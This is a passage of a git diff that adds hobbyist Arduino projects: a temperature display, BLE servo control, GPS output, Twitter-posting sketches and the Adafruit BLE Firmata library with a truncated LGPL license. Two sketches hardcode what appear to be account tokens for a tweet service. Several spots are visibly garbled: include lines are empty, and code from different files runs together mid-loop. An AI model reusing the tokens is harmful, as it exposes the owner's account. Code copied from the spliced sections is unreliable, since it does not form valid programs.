(stringConvertedTemp.substring(0,1) == (String) i) + { + for (int j = 0; j < 7; j++) + { + changeThe7Segments(j, secondNumber[i][j]); + } + } + if (stringConvertedTemp.substring(2,3) > "5") + { + Avrund = 1; + } + if (stringConvertedTemp.substring(1,2) == (String) i) + { + for (int j = 0; j < 7; j++) + { + digitalWrite(firstDisplay[j], firstNumber[i + Avrund][j]); + } + } + } + delay(1250); + for (int i = 0; i < 7; i++) + { + digitalWrite(firstDisplay[i], OFF); + changeThe7Segments(i, OFF); + } + } +} +float getVoltage(int pin) +{ + return (analogRead(pin) * .004882814); +} +void updateSecondDisplay(int value) +{ + digitalWrite(latch, LOW); + shiftOut(data, clock, MSBFIRST, value); + digitalWrite(latch, HIGH); +} +int bits[] = {B00000001, B00000010, B00000100, B00001000, B00010000, B00100000, B01000000, B10000000}; +int masks[] = {B11111110, B11111101, B11111011, B11110111, B11101111, B11011111, B10111111, B01111111}; + + void changeThe7Segments(int led, int state) + { + secondDisplayState = secondDisplayState & masks[led]; + if(state == ON) + { + secondDisplayState = secondDisplayState | bits[led]; + } + updateSecondDisplay(secondDisplayState); + } diff --git a/Projects/Temp Main/Temp_Pre/Temp_Pre.ino b/Projects/Temp Main/Temp_Pre/Temp_Pre.ino new file mode 100755 index 0000000..4d0138d --- /dev/null +++ b/Projects/Temp Main/Temp_Pre/Temp_Pre.ino @@ -0,0 +1,46 @@ +/* --------------------------------------------------------- + * | Arduino Experimentation Kit Example Code | + * | CIRC-10 .: Temperature :. (TMP36 Temperature Sensor) | + * --------------------------------------------------------- + * + * A simple program to output the current temperature to the IDE's debug window + * + * For more details on this circuit: http://tinyurl.com/c89tvd + */ + +//TMP36 Pin Variables +int temperaturePin = 0; //the analog pin the TMP36's Vout (sense) pin is connected to + //the resolution is 10 mV / degree centigrade + //(500 mV offset) to make negative temperatures an option + +/* + * setup() - this function runs once when you turn your Arduino on + * We initialize the serial connection with the computer + */ +void setup() +{ + Serial.begin(9600); //Start the serial connection with the copmuter + //to view the result open the serial monitor + //last button beneath the file bar (looks like a box with an antenae) +} + +void loop() // run over and over again +{ + float temperature = getVoltage(temperaturePin); //getting the voltage reading from the temperature sensor + temperature = (temperature - .5) * 100; //converting from 10 mv per degree with 500 mV offset + //to degrees ((volatge - 500mV) times 100) + Serial.print(temperature); //printing the result + Serial.print(" Celsius "); + Serial.print(getVoltage(temperaturePin)); + Serial.println(" Volt"); + delay(1000); //waiting a second +} + +/* + * getVoltage() - returns the voltage on the analog input defined by + * pin + */ +float getVoltage(int pin){ + return (analogRead(pin) * .004882814); //converting from a 0 to 1023 digital range + // to 0 to 5 volts (each 1 reading equals ~ 5 millivolts +} diff --git a/Projects/Tweet/SimplePost/SimplePost.ino b/Projects/Tweet/SimplePost/SimplePost.ino new file mode 100755 index 0000000..ea96903 --- /dev/null +++ b/Projects/Tweet/SimplePost/SimplePost.ino @@ -0,0 +1,59 @@ +#include // needed in Arduino 0019 or later +#include +#include + +// The includion of EthernetDNS is not needed in Arduino IDE 1.0 or later. +// Please uncomment below in Arduino IDE 0022 or earlier. +//#include + + +// Ethernet Shield Settings +byte mac[] = { 0x90, 0xA2, 0xDA, 0x0D, 0xA7, 0x51 }; + +const int buttonPin = 9; +int buttonState = 0; + +// If you don't specify the IP address, DHCP is used(only in Arduino 1.0 or later). +//byte ip[] = { 192, 168, 2, 250 }; + +// Your Token to Tweet (get it from http://arduino-tweet.appspot.com/) +Twitter twitter("2307428619-jTdwfFJ4r9aYuaYHQ2YeqBWQNOy6nSg6aTRequb"); + +// Message to post +char msg[] = "@KevinMidboe Vannet er ferdig!"; + +void setup() +{ + delay(1000); + Ethernet.begin(mac); + // or you can use DHCP for autoomatic IP address configuration. + // Ethernet.begin(mac); + Serial.begin(9600); + pinMode(buttonPin, INPUT); + buttonState = LOW; +} + +void loop() +{ + buttonState = digitalRead(buttonPin); + if (buttonState == HIGH) + { + Serial.println("connecting ..."); + if (twitter.post(msg)) { + // Specify &Serial to output received response to Serial. + // If no output is required, you can just omit the argument, e.g. + // int status = twitter.wait(); + int status = twitter.wait(&Serial); + if (status == 200) { + Serial.println("OK."); + } else { + Serial.print("failed : code "); + Serial.println(status); + } + } else { + Serial.println("connection failed."); + } + delay(1000); + } +} + diff --git a/Projects/Tweet/SimpleTweetPost/SimpleTweetPost.ino b/Projects/Tweet/SimpleTweetPost/SimpleTweetPost.ino new file mode 100755 index 0000000..936cf37 --- /dev/null +++ b/Projects/Tweet/SimpleTweetPost/SimpleTweetPost.ino @@ -0,0 +1,55 @@ +#include // needed in Arduino 0019 or later +#include +#include +#include + +byte mac[] = { 0x90, 0xA2, 0xDA, 0x0D, 0xA7, 0x51 }; +//byte ip[] = {192, 168, 0, 105}; + +char buf[100]; + +Twitter twitter("2307428619-TIM5H7Lh6L9HrrQLMynR5cinWpNbiUTt2827myM"); + +int i = 0; +int buttonPin = 3; + +String stringKevin = String("@KevinMidboe"); +String stringVannFerdig = String(" Vannet er ferdig! 0"); + +void setup() +{ + delay(1000); + Ethernet.begin(mac); + Serial.begin(9600); +} +/* +void tweet(String msg[]) { + Serial.println("connecting ..."); + if (twitter.post(msg)) { + int status = twitter.wait(&Serial); + if (status == 200) { + Serial.println("OK."); + } else { + Serial.print("failed : code "); + Serial.println(status); + } + } else { + Serial.println("connection failed."); + } +}*/ + +void loop() +{ + if (analogRead(buttonPin) != 0) + { + i++; + stringKevin += stringVannFerdig; + stringKevin += seconds(); + char charBuf[50]; + stringKevin.toCharArray(charBuf, 50); + twitter.post(charBuf); + + // zero delay + delay(1000); + } +} diff --git a/Projects/_3DInterface/_3DInterface.ino b/Projects/_3DInterface/_3DInterface.ino new file mode 100755 index 0000000..608e611 --- /dev/null +++ b/Projects/_3DInterface/_3DInterface.ino @@ -0,0 +1,63 @@ +// +// By Kyle McDonald +// From the instructables project at: +// http://www.instructables.com/id/DIY-3D-Controller/ + +#define resolution 8 +#define mains 50 // 60: north america, japan; 50: most other places + +#define refresh 2 * 1000000 / mains + +void setup() { + Serial.begin(115200); + + // unused pins are fairly insignificant, + // but pulled low to reduce unknown variables + for(int i = 2; i < 14; i++) { + pinMode(i, OUTPUT); + digitalWrite(i, LOW); + } + + for(int i = 8; i < 11; i++) + pinMode(i, INPUT); + + startTimer(); +} + +void loop() { + Serial.print(time(8, B00000001), DEC); + Serial.print(" "); + Serial.print(time(9, B00000010), DEC); + Serial.print(" "); + Serial.println(time(10, B00000100), DEC); + +} + +long time(int pin, byte mask) { + unsigned long count = 0, total = 0; + while(checkTimer() < refresh) { + // pinMode is about 6 times slower than assigning + // DDRB directly, but that pause is important + pinMode(pin, OUTPUT); + PORTB = 0; + pinMode(pin, INPUT); + while((PINB & mask) == 0) + count++; + total++; + } + startTimer(); + return (count << resolution) / total; +} + +extern volatile unsigned long timer0_overflow_count; + +void startTimer() { + timer0_overflow_count = 0; + TCNT0 = 0; +} + +unsigned long checkTimer() { + return ((timer0_overflow_count << 8) + TCNT0) << 2; +} + + diff --git a/Projects/_5_buttonTest/_5_buttonTest.ino b/Projects/_5_buttonTest/_5_buttonTest.ino new file mode 100644 index 0000000..33aa88d --- /dev/null +++ b/Projects/_5_buttonTest/_5_buttonTest.ino @@ -0,0 +1,21 @@ +const int buttonPin0 = 0; + +const int led = 13; + +void setup() { + pinMode(buttonPin0, INPUT); + pinMode(led, OUTPUT); + + Serial.begin(9600); +} + +void loop() { +if (analogRead(buttonPin0) == 0) { + digitalWrite(led, HIGH); +} +else { + digitalWrite(led, LOW); +} + + delay(1000); +} diff --git a/Projects/callbackEcho1/callbackEcho1.ino b/Projects/callbackEcho1/callbackEcho1.ino new file mode 100755 index 0000000..904d37d --- /dev/null +++ b/Projects/callbackEcho1/callbackEcho1.ino @@ -0,0 +1,120 @@ +/********************************************************************* +This is an example for our nRF8001 Bluetooth Low Energy Breakout + + Pick one up today in the adafruit shop! + ------> http://www.adafruit.com/products/1697 + +Adafruit invests time and resources providing this open source code, +please support Adafruit and open-source hardware by purchasing +products from Adafruit! + +Written by Kevin Townsend/KTOWN for Adafruit Industries. +MIT license, check LICENSE for more information +All text above, and the splash screen below must be included in any redistribution +*********************************************************************/ + +// This version uses call-backs on the event and RX so there's no data handling in the main loop! + +#include +#include +#include "Adafruit_BLE_UART.h" + +#define ADAFRUITBLE_REQ 10 +#define ADAFRUITBLE_RDY 2 +#define ADAFRUITBLE_RST 9 + +Servo myservo; +int pos = 0; + +Adafruit_BLE_UART uart = Adafruit_BLE_UART(ADAFRUITBLE_REQ, ADAFRUITBLE_RDY, ADAFRUITBLE_RST); + +/**************************************************************************/ +/*! + This function is called whenever select ACI events happen +*/ +/**************************************************************************/ +void aciCallback(aci_evt_opcode_t event) +{ + switch(event) + { + case ACI_EVT_DEVICE_STARTED: + Serial.println(F("Advertising started")); + break; + case ACI_EVT_CONNECTED: + Serial.println(F("Connected!")); + break; + case ACI_EVT_DISCONNECTED: + Serial.println(F("Disconnected or advertising timed out")); + break; + default: + break; + } +} + +/**************************************************************************/ +/*! + This function is called whenever data arrives on the RX channel +*/ +/**************************************************************************/ +void rxCallback(uint8_t *buffer, uint8_t len) +{ + Serial.print(F("Received ")); + Serial.print(len); + Serial.print(F(" bytes: ")); + for(int i=0; i debounceDelay) { + // whatever the reading is at, it's been there for longer + // than the debounce delay, so take it as the actual current state: + buttonState = reading; + } + + + + // set the LED using the state of the button: + digitalWrite(ledPin1, ledState); + digitalWrite(ledPin2, ledState); + digitalWrite(ledPin3, ledState); + digitalWrite(ledPin4, ledState); + digitalWrite(ledPin5, ledState); + digitalWrite(ledPin6, ledState); + digitalWrite(ledPin7, ledState); + + // save the reading. Next time through the loop, + // it'll be the lastButtonState: + lastButtonState = reading; +} diff --git a/Projects/gps/raw_outputSoftwareSerial/raw_outputSoftwareSerial.ino b/Projects/gps/raw_outputSoftwareSerial/raw_outputSoftwareSerial.ino new file mode 100644 index 0000000..6440d65 --- /dev/null +++ b/Projects/gps/raw_outputSoftwareSerial/raw_outputSoftwareSerial.ino @@ -0,0 +1,15 @@ +#include + +// The serial connection to the GPS module +SoftwareSerial gpsSerial(4, 3); + +void setup(){ + Serial.begin(9600); + gpsSerial.begin(9600); +} + +void loop(){ + while (gpsSerial.available()) { // check for gps data + Serial.write(gpsSerial.read()); + } +} diff --git a/Projects/libraries/Installed_libs/Adafruit_BLEFirmata/.gitignore b/Projects/libraries/Installed_libs/Adafruit_BLEFirmata/.gitignore new file mode 100755 index 0000000..7f885cb --- /dev/null +++ b/Projects/libraries/Installed_libs/Adafruit_BLEFirmata/.gitignore @@ -0,0 +1,2 @@ +.DS_Store +release.sh diff --git a/Projects/libraries/Installed_libs/Adafruit_BLEFirmata/Adafruit_BLE_Firmata.cpp b/Projects/libraries/Installed_libs/Adafruit_BLEFirmata/Adafruit_BLE_Firmata.cpp new file mode 100755 index 0000000..6fb7e03 --- /dev/null +++ b/Projects/libraries/Installed_libs/Adafruit_BLEFirmata/Adafruit_BLE_Firmata.cpp @@ -0,0 +1,463 @@ +/* + Firmata.cpp - Firmata library + Copyright (C) 2006-2008 Hans-Christoph Steiner. All rights reserved. + + Modified for Adafruit_BLE_Uart by Limor Fried/Kevin Townsend for + Adafruit Industries, 2014 + + This library is free software; you can redistribute it and/or + modify it under the terms of the GNU Lesser General Public + License as published by the Free Software Foundation; either + version 2.1 of the License, or (at your option) any later version. + + See file LICENSE.txt for further informations on licensing terms. +*/ + +//****************************************************************************** +//* Includes +//****************************************************************************** + +#include "Adafruit_BLE_Firmata.h" + +extern "C" { +#include +#include +} + +//****************************************************************************** +//* Support Functions +//****************************************************************************** + +void Adafruit_BLE_FirmataClass::sendValueAsTwo7bitBytes(int value) +{ + FirmataSerial.write(value & B01111111); // LSB + FirmataSerial.write(value >> 7 & B01111111); // MSB +} + +void Adafruit_BLE_FirmataClass::startSysex(void) +{ + FirmataSerial.write(START_SYSEX); +} + +void Adafruit_BLE_FirmataClass::endSysex(void) +{ + FirmataSerial.write(END_SYSEX); +} + +//****************************************************************************** +//* Constructors +//****************************************************************************** + +Adafruit_BLE_FirmataClass::Adafruit_BLE_FirmataClass(Adafruit_BLE_UART &s) : FirmataSerial(s) +{ + firmwareVersionCount = 0; + systemReset(); +} + +//****************************************************************************** +//* Public Methods +//****************************************************************************** + +/* begin method for overriding default serial bitrate */ +void Adafruit_BLE_FirmataClass::begin(void) +{ + blinkVersion(); + printVersion(); + printFirmwareVersion(); +} + +void Adafruit_BLE_FirmataClass::begin(Adafruit_BLE_UART &s) +{ + FirmataSerial = s; + systemReset(); + printVersion(); + printFirmwareVersion(); +} + +// output the protocol version message to the serial port +void Adafruit_BLE_FirmataClass::printVersion(void) { + FirmataSerial.write(REPORT_VERSION); + FirmataSerial.write(FIRMATA_MAJOR_VERSION); + FirmataSerial.write(FIRMATA_MINOR_VERSION); +} + +void Adafruit_BLE_FirmataClass::blinkVersion(void) +{ + // flash the pin with the protocol version + pinMode(VERSION_BLINK_PIN,OUTPUT); + pin13strobe(FIRMATA_MAJOR_VERSION, 40, 210); + delay(250); + pin13strobe(FIRMATA_MINOR_VERSION, 40, 210); + delay(125); +} + +void Adafruit_BLE_FirmataClass::printFirmwareVersion(void) +{ + byte i; + + if(firmwareVersionCount) { // make sure that the name has been set before reporting + startSysex(); + FirmataSerial.write(REPORT_FIRMWARE); + FirmataSerial.write(firmwareVersionVector[0]); // major version number + FirmataSerial.write(firmwareVersionVector[1]); // minor version number + for(i=2; i 0) && (inputData < 128) ) { + waitForData--; + storedInputData[waitForData] = inputData; +#ifdef BLE_DEBUG + Serial.print(F(" 0x")); Serial.print(inputData, HEX); +#endif + + if( (waitForData==0) && executeMultiByteCommand ) { // got the whole message + +#ifdef BLE_DEBUG + Serial.println(); +#endif + + + switch(executeMultiByteCommand) { + case ANALOG_MESSAGE: + if(currentAnalogCallback) { + (*currentAnalogCallback)(multiByteChannel, + (storedInputData[0] << 7) + + storedInputData[1]); + } + break; + case DIGITAL_MESSAGE: + if(currentDigitalCallback) { + (*currentDigitalCallback)(multiByteChannel, + (storedInputData[0] << 7) + + storedInputData[1]); + } + break; + case SET_PIN_MODE: + if(currentPinModeCallback) + (*currentPinModeCallback)(storedInputData[1], storedInputData[0]); + break; + case REPORT_ANALOG: + if(currentReportAnalogCallback) + (*currentReportAnalogCallback)(multiByteChannel,storedInputData[0]); + break; + case REPORT_DIGITAL: + if(currentReportDigitalCallback) + (*currentReportDigitalCallback)(multiByteChannel,storedInputData[0]); + break; + } + executeMultiByteCommand = 0; + } + } else { +#ifdef BLE_DEBUG + Serial.print(F("\tReceived 0x")); Serial.print(inputData, HEX); +#endif + // remove channel info from command byte if less than 0xF0 + if(inputData < 0xF0) { + command = inputData & 0xF0; + multiByteChannel = inputData & 0x0F; + } else { + command = inputData; + // commands in the 0xF* range don't use channel data + } + switch (command) { + case ANALOG_MESSAGE: + case DIGITAL_MESSAGE: + case SET_PIN_MODE: + waitForData = 2; // two data bytes needed + executeMultiByteCommand = command; + break; + case REPORT_ANALOG: + case REPORT_DIGITAL: + waitForData = 1; // two data bytes needed + executeMultiByteCommand = command; + break; + case START_SYSEX: + parsingSysex = true; + sysexBytesRead = 0; + break; + case SYSTEM_RESET: + systemReset(); + break; + case REPORT_VERSION: + printVersion(); + break; + } + } + + return inputData; +} + +//------------------------------------------------------------------------------ +// Serial Send Handling + +// send an analog message +void Adafruit_BLE_FirmataClass::sendAnalog(byte pin, int value) +{ + // create a three byte buffer + uint8_t sendbuffer[3]; + + // pin can only be 0-15, so chop higher bits + //FirmataSerial.write(ANALOG_MESSAGE | (pin & 0xF)); + sendbuffer[0] = ANALOG_MESSAGE | (pin & 0xF); + + //sendValueAsTwo7bitBytes(value); + sendbuffer[1] = value % 128; // Tx bits 0-6 + sendbuffer[2] = (value >> 7) &0x7F; // Tx bits 7-13 + + FirmataSerial.write(sendbuffer, 3); +} + +// send a single digital pin in a digital message +void Adafruit_BLE_FirmataClass::sendDigital(byte pin, int value) +{ + /* TODO add single pin digital messages to the protocol, this needs to + * track the last digital data sent so that it can be sure to change just + * one bit in the packet. This is complicated by the fact that the + * numbering of the pins will probably differ on Arduino, Wiring, and + * other boards. The DIGITAL_MESSAGE sends 14 bits at a time, but it is + * probably easier to send 8 bit ports for any board with more than 14 + * digital pins. + */ + + // TODO: the digital message should not be sent on the serial port every + // time sendDigital() is called. Instead, it should add it to an int + // which will be sent on a schedule. If a pin changes more than once + // before the digital message is sent on the serial port, it should send a + // digital message for each change. + + // if(value == 0) + // sendDigitalPortPair(); +} + + +// send 14-bits in a single digital message (protocol v1) +// send an 8-bit port in a single digital message (protocol v2) +void Adafruit_BLE_FirmataClass::sendDigitalPort(byte portNumber, int portData) +{ + // create a three byte buffer + uint8_t sendbuffer[3]; + + sendbuffer[0] = DIGITAL_MESSAGE | (portNumber & 0xF); + sendbuffer[1] = (byte)portData % 128; // Tx bits 0-6 + sendbuffer[2] = portData >> 7; // Tx bits 7-13 + FirmataSerial.write(sendbuffer, 3); +} + + +void Adafruit_BLE_FirmataClass::sendSysex(byte command, byte bytec, byte* bytev) +{ + byte i; + startSysex(); + FirmataSerial.write(command); + for(i=0; i + +#if defined(ARDUINO) && ARDUINO >= 100 +#include "Arduino.h" // for digitalRead, digitalWrite, etc +#else +#include "WProgram.h" +#endif + +// Normally Servo.h must be included before Firmata.h (which then includes +// this file). If Servo.h wasn't included, this allows the code to still +// compile, but without support for any Servos. Hopefully that's what the +// user intended by not including Servo.h +#ifndef MAX_SERVOS +#define MAX_SERVOS 0 +#endif + +/* + Firmata Hardware Abstraction Layer + +Firmata is built on top of the hardware abstraction functions of Arduino, +specifically digitalWrite, digitalRead, analogWrite, analogRead, and +pinMode. While these functions offer simple integer pin numbers, Firmata +needs more information than is provided by Arduino. This file provides +all other hardware specific details. To make Firmata support a new board, +only this file should require editing. + +The key concept is every "pin" implemented by Firmata may be mapped to +any pin as implemented by Arduino. Usually a simple 1-to-1 mapping is +best, but such mapping should not be assumed. This hardware abstraction +layer allows Firmata to implement any number of pins which map onto the +Arduino implemented pins in almost any arbitrary way. + + +General Constants: + +These constants provide basic information Firmata requires. + +TOTAL_PINS: The total number of pins Firmata implemented by Firmata. + Usually this will match the number of pins the Arduino functions + implement, including any pins pins capable of analog or digital. + However, Firmata may implement any number of pins. For example, + on Arduino Mini with 8 analog inputs, 6 of these may be used + for digital functions, and 2 are analog only. On such boards, + Firmata can implement more pins than Arduino's pinMode() + function, in order to accommodate those special pins. The + Firmata protocol supports a maximum of 128 pins, so this + constant must not exceed 128. + +TOTAL_ANALOG_PINS: The total number of analog input pins implemented. + The Firmata protocol allows up to 16 analog inputs, accessed + using offsets 0 to 15. Because Firmata presents the analog + inputs using different offsets than the actual pin numbers + (a legacy of Arduino's analogRead function, and the way the + analog input capable pins are physically labeled on all + Arduino boards), the total number of analog input signals + must be specified. 16 is the maximum. + +VERSION_BLINK_PIN: When Firmata starts up, it will blink the version + number. This constant is the Arduino pin number where a + LED is connected. + + +Pin Mapping Macros: + +These macros provide the mapping between pins as implemented by +Firmata protocol and the actual pin numbers used by the Arduino +functions. Even though such mappings are often simple, pin +numbers received by Firmata protocol should always be used as +input to these macros, and the result of the macro should be +used with with any Arduino function. + +When Firmata is extended to support a new pin mode or feature, +a pair of macros should be added and used for all hardware +access. For simple 1:1 mapping, these macros add no actual +overhead, yet their consistent use allows source code which +uses them consistently to be easily adapted to all other boards +with different requirements. + +IS_PIN_XXXX(pin): The IS_PIN macros resolve to true or non-zero + if a pin as implemented by Firmata corresponds to a pin + that actually implements the named feature. + +PIN_TO_XXXX(pin): The PIN_TO macros translate pin numbers as + implemented by Firmata to the pin numbers needed as inputs + to the Arduino functions. The corresponding IS_PIN macro + should always be tested before using a PIN_TO macro, so + these macros only need to handle valid Firmata pin + numbers for the named feature. + + +Port Access Inline Funtions: + +For efficiency, Firmata protocol provides access to digital +input and output pins grouped by 8 bit ports. When these +groups of 8 correspond to actual 8 bit ports as implemented +by the hardware, these inline functions can provide high +speed direct port access. Otherwise, a default implementation +using 8 calls to digitalWrite or digitalRead is used. + +When porting Firmata to a new board, it is recommended to +use the default functions first and focus only on the constants +and macros above. When those are working, if optimized port +access is desired, these inline functions may be extended. +The recommended approach defines a symbol indicating which +optimization to use, and then conditional complication is +used within these functions. + +readPort(port, bitmask): Read an 8 bit port, returning the value. + port: The port number, Firmata pins port*8 to port*8+7 + bitmask: The actual pins to read, indicated by 1 bits. + +writePort(port, value, bitmask): Write an 8 bit port. + port: The port number, Firmata pins port*8 to port*8+7 + value: The 8 bit value to write + bitmask: The actual pins to write, indicated by 1 bits. +*/ + +/*============================================================================== + * Board Specific Configuration + *============================================================================*/ + +#ifndef digitalPinHasPWM +#define digitalPinHasPWM(p) IS_PIN_DIGITAL(p) +#endif + +// Arduino Duemilanove, Diecimila, and NG +#if defined(__AVR_ATmega168__) || defined(__AVR_ATmega328P__) +#if defined(NUM_ANALOG_INPUTS) && NUM_ANALOG_INPUTS == 6 +#define TOTAL_ANALOG_PINS 6 +#define TOTAL_PINS 22 // 14 digital (not all are 'digital/available') + 6 analog +#else +#define TOTAL_ANALOG_PINS 8 +#define TOTAL_PINS 22 // 14 digital + 8 analog +#endif + +#define VERSION_BLINK_PIN 99 +// we dont use digital 2 or 9, 10, 11, 12, 13 -> BTLE link +#define IS_PIN_DIGITAL(p) (((p) >= 3 && (p) <= 8) || ((p) >= 14 && (p) <= 19 )) +#define IS_PIN_ANALOG(p) ((p) >= 14 && (p) < 14 + TOTAL_ANALOG_PINS) +#define IS_PIN_PWM(p) digitalPinHasPWM(p) +#define IS_PIN_SERVO(p) (IS_PIN_DIGITAL(p) && (p) - 2 < MAX_SERVOS) +#define IS_PIN_I2C(p) ((p) == 18 || (p) == 19) +#define PIN_TO_DIGITAL(p) (p) +#define PIN_TO_ANALOG(p) ((p) - 14) +#define PIN_TO_PWM(p) PIN_TO_DIGITAL(p) +#define PIN_TO_SERVO(p) ((p) - 2) +#define ARDUINO_PINOUT_OPTIMIZE 0 + + +// Arduino Mega +#elif defined(__AVR_ATmega1280__) || defined(__AVR_ATmega2560__) +#define TOTAL_ANALOG_PINS 16 +#define TOTAL_PINS 70 // 54 digital + 16 analog +#define VERSION_BLINK_PIN 13 +#define IS_PIN_DIGITAL(p) ((p) >= 2 && (p) < TOTAL_PINS) +#define IS_PIN_ANALOG(p) ((p) >= 54 && (p) < TOTAL_PINS) +#define IS_PIN_PWM(p) digitalPinHasPWM(p) +#define IS_PIN_SERVO(p) ((p) >= 2 && (p) - 2 < MAX_SERVOS) +#define IS_PIN_I2C(p) ((p) == 20 || (p) == 21) +#define PIN_TO_DIGITAL(p) (p) +#define PIN_TO_ANALOG(p) ((p) - 54) +#define PIN_TO_PWM(p) PIN_TO_DIGITAL(p) +#define PIN_TO_SERVO(p) ((p) - 2) + + +// anything else +#else +#error "Please edit Boards.h with a hardware abstraction for this board" +#endif + + +/*============================================================================== + * readPort() - Read an 8 bit port + *============================================================================*/ + +static inline unsigned char readPort(byte, byte) __attribute__((always_inline, unused)); +static inline unsigned char readPort(byte port, byte bitmask) +{ + unsigned char out=0, pin=port*8; + if (IS_PIN_DIGITAL(pin+0) && (bitmask & 0x01) && digitalRead(PIN_TO_DIGITAL(pin+0))) out |= 0x01; + if (IS_PIN_DIGITAL(pin+1) && (bitmask & 0x02) && digitalRead(PIN_TO_DIGITAL(pin+1))) out |= 0x02; + if (IS_PIN_DIGITAL(pin+2) && (bitmask & 0x04) && digitalRead(PIN_TO_DIGITAL(pin+2))) out |= 0x04; + if (IS_PIN_DIGITAL(pin+3) && (bitmask & 0x08) && digitalRead(PIN_TO_DIGITAL(pin+3))) out |= 0x08; + if (IS_PIN_DIGITAL(pin+4) && (bitmask & 0x10) && digitalRead(PIN_TO_DIGITAL(pin+4))) out |= 0x10; + if (IS_PIN_DIGITAL(pin+5) && (bitmask & 0x20) && digitalRead(PIN_TO_DIGITAL(pin+5))) out |= 0x20; + if (IS_PIN_DIGITAL(pin+6) && (bitmask & 0x40) && digitalRead(PIN_TO_DIGITAL(pin+6))) out |= 0x40; + if (IS_PIN_DIGITAL(pin+7) && (bitmask & 0x80) && digitalRead(PIN_TO_DIGITAL(pin+7))) out |= 0x80; + return out; + +} + +/*============================================================================== + * writePort() - Write an 8 bit port, only touch pins specified by a bitmask + *============================================================================*/ + +static inline unsigned char writePort(byte, byte, byte) __attribute__((always_inline, unused)); +static inline unsigned char writePort(byte port, byte value, byte bitmask) +{ +#if defined(ARDUINO_PINOUT_OPTIMIZE) + if (port == 0) { + bitmask = bitmask & 0xFC; // do not touch Tx & Rx pins + byte valD = value & bitmask; + byte maskD = ~bitmask; + cli(); + PORTD = (PORTD & maskD) | valD; + sei(); + } else if (port == 1) { + byte valB = (value & bitmask) & 0x3F; + byte valC = (value & bitmask) >> 6; + byte maskB = ~(bitmask & 0x3F); + byte maskC = ~((bitmask & 0xC0) >> 6); + cli(); + PORTB = (PORTB & maskB) | valB; + PORTC = (PORTC & maskC) | valC; + sei(); + } else if (port == 2) { + bitmask = bitmask & 0x0F; + byte valC = (value & bitmask) << 2; + byte maskC = ~(bitmask << 2); + cli(); + PORTC = (PORTC & maskC) | valC; + sei(); + } +#else + byte pin=port*8; + for (uint8_t i=0; i<8; i++) { + if (bitmask & (1 << i)) { + // dont touch non-digital pins + if (IS_PIN_DIGITAL(pin+i)) + digitalWrite(PIN_TO_DIGITAL(pin+i), (value & (1 << i))); + } + } +#endif +} + + + + +#ifndef TOTAL_PORTS +#define TOTAL_PORTS ((TOTAL_PINS + 7) / 8) +#endif + + +#endif /* BLE_Firmata_Boards_h */ + diff --git a/Projects/libraries/Installed_libs/Adafruit_BLEFirmata/LICENSE.txt b/Projects/libraries/Installed_libs/Adafruit_BLEFirmata/LICENSE.txt new file mode 100755 index 0000000..77cec6d --- /dev/null +++ b/Projects/libraries/Installed_libs/Adafruit_BLEFirmata/LICENSE.txt @@ -0,0 +1,458 @@ + + GNU LESSER GENERAL PUBLIC LICENSE + Version 2.1, February 1999 + + Copyright (C) 1991, 1999 Free Software Foundation, Inc. + 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA + Everyone is permitted to copy and distribute verbatim copies + of this license document, but changing it is not allowed. + +[This is the first released version of the Lesser GPL. It also counts + as the successor of the GNU Library Public License, version 2, hence + the version number 2.1.] + + Preamble + + The licenses for most software are designed to take away your +freedom to share and change it. By contrast, the GNU General Public +Licenses are intended to guarantee your freedom to share and change +free software--to make sure the software is free for all its users. + + This license, the Lesser General Public License, applies to some +specially designated software packages--typically libraries--of the +Free Software Foundation and other authors who decide to use it. You +can use it too, but we suggest you first think carefully about whether +this license or the ordinary General Public License is the better +strategy to use in any particular case, based on the explanations below. + + When we speak of free software, we are referring to freedom of use, +not price. Our General Public Licenses are designed to make sure that +you have the freedom to distribute copies of free software (and charge +for this service if you wish); that you receive source code or can get +it if you want it; that you can change the software and use pieces of +it in new free programs; and that you are informed that you can do +these things. + + To protect your rights, we need to make restrictions that forbid +distributors to deny you these rights or to ask you to surrender these +rights. These restrictions translate to certain responsibilities for +you if you distribute copies of the library or if you modify it. + + For example, if you distribute copies of the library, whether gratis +or for a fee, you must give the recipients all the rights that we gave +you. You must make sure that they, too, receive or can get the source +code. If you link other code with the library, you must provide +complete object files to the recipients, so that they can relink them +with the library after making changes to the library and recompiling +it. And you must show them these terms so they know their rights. + + We protect your rights with a two-step method: (1) we copyright the +library, and (2) we offer you this license, which gives you legal +permission to copy, distribute and/or modify the library. + + To protect each distributor, we want to make it very clear that +there is no warranty for the free library. Also, if the library is +modified by someone else and passed on, the recipients should know +that what they have is not the original version, so that the original +author's reputation will not be affected by problems that might be +introduced by others. + + Finally, software patents pose a constant threat to the existence of +any free program. We wish to make sure that a company cannot +effectively restrict the users of a free program by obtaining a +restrictive license from a patent holder. Therefore, we insist that +any patent license obtained for a version of the library must be +consistent with the full freedom of use specified in this license. + + Most GNU software, including some libraries, is covered by the +ordinary GNU General Public License. This license, the GNU Lesser +General Public License, applies to certain designated libraries, and +is quite different from the ordinary General Public License. We use +this license for certain libraries in order to permit linking those +libraries into non-free programs. + + When a program is linked with a library, whether statically or using +a shared library, the combination of the two is legally speaking a +combined work, a derivative of the original library. The ordinary +General Public License therefore permits such linking only if the +entire combination fits its criteria of freedom. The Lesser General +Public License permits more lax criteria for linking other code with +the library. + + We call this license the "Lesser" General Public License because it +does Less to protect the user's freedom than the ordinary General +Public License. It also provides other free software developers Less +of an advantage over competing non-free programs. These disadvantages +are the reason we use the ordinary General Public License for many +libraries. However, the Lesser license provides advantages in certain +special circumstances. + + For example, on rare occasions, there may be a special need to +encourage the widest possible use of a certain library, so that it becomes +a de-facto standard. To achieve this, non-free programs must be +allowed to use the library. A more frequent case is that a free +library does the same job as widely used non-free libraries. In this +case, there is little to gain by limiting the free library to free +software only, so we use the Lesser General Public License. + + In other cases, permission to use a particular library in non-free +programs enables a greater number of people to use a large body of +free software. For example, permission to use the GNU C Library in +non-free programs enables many more people to use the whole GNU +operating system, as well as its variant, the GNU/Linux operating +system. + + Although the Lesser General Public License is Less protective of the +users' freedom, it does ensure that the user of a program that is +linked with the Library has the freedom and the wherewithal to run +that program using a modified version of the Library. + + The precise terms and conditions for copying, distribution and +modification follow. Pay close attention to the difference between a +"work based on the library" and a "work that uses the library". The +former contains code derived from the library, whereas the latter must +be combined with the library in order to run. + + GNU LESSER GENERAL PUBLIC LICENSE + TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION + + 0. This License Agreement applies to any software library or other +program which contains a notice placed by the copyright holder or +other authorized party saying it may be distributed under the terms of +this Lesser General Public License (also called "this License"). +Each licensee is addressed as "you". + + 